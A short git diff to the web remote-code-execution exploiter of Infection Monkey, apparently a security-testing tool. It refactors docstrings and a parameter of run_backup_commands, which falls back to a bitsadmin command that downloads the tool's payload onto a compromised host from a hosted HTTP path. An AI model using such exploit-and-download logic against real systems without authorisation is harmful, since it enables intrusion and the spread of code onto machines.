diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index a8aa2aae7..97708ab24 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -201,8 +201,8 @@ class WebRCE(HostExploiter): """ Gets vulnerable url(s) from url list :param urls: Potentially vulnerable urls - :param stop_checking: - :return: + :param stop_checking: If we want to continue checking for vulnerable url even though one is found (bool) + :return: None (we append to class variable vulnerable_urls) """ for url in urls: if self.check_if_exploitable(url): @@ -294,18 +294,18 @@ class WebRCE(HostExploiter): self.host.os['machine'] = arch return True - def run_backup_commands(self, resp, url, paths, http_path): + def run_backup_commands(self, resp, url, dest_path, http_path): """ If you need multiple commands for the same os you can override this method to add backup commands :param resp: Response from base command :param url: Vulnerable url - :param paths: Where to upload monkey + :param dest_path: Where to upload monkey :param http_path: Where to download monkey from :return: Command's response (same response if backup command is not needed) """ if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: LOG.info("Powershell not found in host. Using bitsadmin to download.") - backup_command = RDP_CMDLINE_HTTP % {'monkey_path': paths['dest_path'], 'http_path': http_path} + backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path} resp = self.exploit(url, backup_command) return resp @@ -336,7 +336,7 @@ class WebRCE(HostExploiter): resp = self.exploit(url, command) - resp = self.run_backup_commands(resp, url, paths, http_path) + resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop()